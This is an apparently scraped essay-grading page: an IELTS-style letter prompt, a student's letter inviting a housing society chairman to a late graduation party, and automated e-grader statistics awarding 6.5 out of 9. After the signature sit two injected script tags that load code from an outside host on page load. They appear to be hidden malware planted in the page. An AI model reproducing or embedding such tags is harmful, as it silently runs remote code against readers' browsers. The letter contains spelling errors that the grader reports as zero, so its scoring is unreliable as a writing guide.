You are having a graduation party next Sunday evening. You have invited over 25 people to celebrate in your garden, which may continue late into the night.
Write a letter to the Chairman of the Housing Society. In your letter:
• Explain what will be happening
• Offer your apologies in advance
• Invite him to join the celebration
Dear Sir/Madam,
I am writing this letter to apprise you about an event held next Sunday evening in my small park on the occassion of my gradudation completion.
Since I have sucessfully finished my college, I am organizing a social gathering where more than 25 individuals including my friends and relatives would be invited. Attendees would have drinks and some delectable food from the nearest restaurant. Moreover, loud music would be played for people to dance and relish the party till late night.
Therefore, I wished to inform you prior to the event that it might get late for the event to end; thus, I request you to open the society gate as I would be reaching home after 1 am. I am extremely sorry for the trouble as I know it is arduous to keep the entrance unlocked till late night.
Furthermore, I would be more than ecstatic to see you in the party to celebrate my accomplishment. The event would commence around six in the evening in my garden next Sunday.
I look forward to seeing you soon.
Yours sincerely,
Chirag Bhardwaj<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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| 2020-11-07 | jobjp37 | 73 | view |
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Transition Words or Phrases used:
furthermore, look, moreover, so, therefore, thus
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 5.0 7.48453608247 67% => OK
Auxiliary verbs: 7.0 4.92783505155 142% => OK
Conjunction : 3.0 5.05154639175 59% => More conjunction wanted.
Relative clauses : 2.0 3.03092783505 66% => OK
Pronoun: 26.0 32.9175257732 79% => OK
Preposition: 23.0 26.3917525773 87% => OK
Nominalization: 5.0 3.85567010309 130% => OK
Performance on vocabulary words:
No of characters: 879.0 937.175257732 94% => OK
No of words: 184.0 206.0 89% => More content wanted.
Chars per words: 4.77717391304 4.54256449028 105% => OK
Fourth root words length: 3.68302321012 3.78020617076 97% => OK
Word Length SD: 2.70928682746 2.54303337028 107% => OK
Unique words: 115.0 127.690721649 90% => More unique words wanted.
Unique words percentage: 0.625 0.622605031667 100% => OK
syllable_count: 269.1 290.88556701 93% => OK
avg_syllables_per_word: 1.5 1.41237113402 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 9.13402061856 88% => OK
Article: 1.0 0.824742268041 121% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 1.0 1.44329896907 69% => OK
Performance on sentences:
How many sentences: 10.0 12.6804123711 79% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 18.0 16.3608247423 110% => OK
Sentence length SD: 49.4357158338 44.8134815571 110% => OK
Chars per sentence: 87.9 76.5299724578 115% => OK
Words per sentence: 18.4 16.8248392259 109% => OK
Discourse Markers: 4.8 4.34317383033 111% => OK
Paragraphs: 5.0 4.29896907216 116% => OK
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 7.0 7.41237113402 94% => OK
Sentences with negative sentiment : 1.0 1.49484536082 67% => OK
Sentences with neutral sentiment: 2.0 3.94845360825 51% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.252291227082 0.216113520407 117% => OK
Sentence topic coherence: 0.0945843663925 0.0766984524023 123% => OK
Sentence topic coherence SD: 0.0320554912701 0.0603063233224 53% => OK
Paragraph topic coherence: 0.126461426635 0.12726935374 99% => OK
Paragraph topic coherence SD: 0.0306411425448 0.0580467560999 53% => OK
Essay readability:
automated_readability_index: 10.3 8.37731958763 123% => OK
flesch_reading_ease: 61.67 70.7449484536 87% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 9.1 7.45979381443 122% => OK
coleman_liau_index: 10.44 8.71597938144 120% => OK
dale_chall_readability_score: 8.05 7.59969072165 106% => OK
difficult_words: 41.0 41.2886597938 99% => OK
linsear_write_formula: 11.0 8.62886597938 127% => OK
gunning_fog: 9.2 8.54432989691 108% => OK
text_standard: 11.0 8.15463917526 135% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.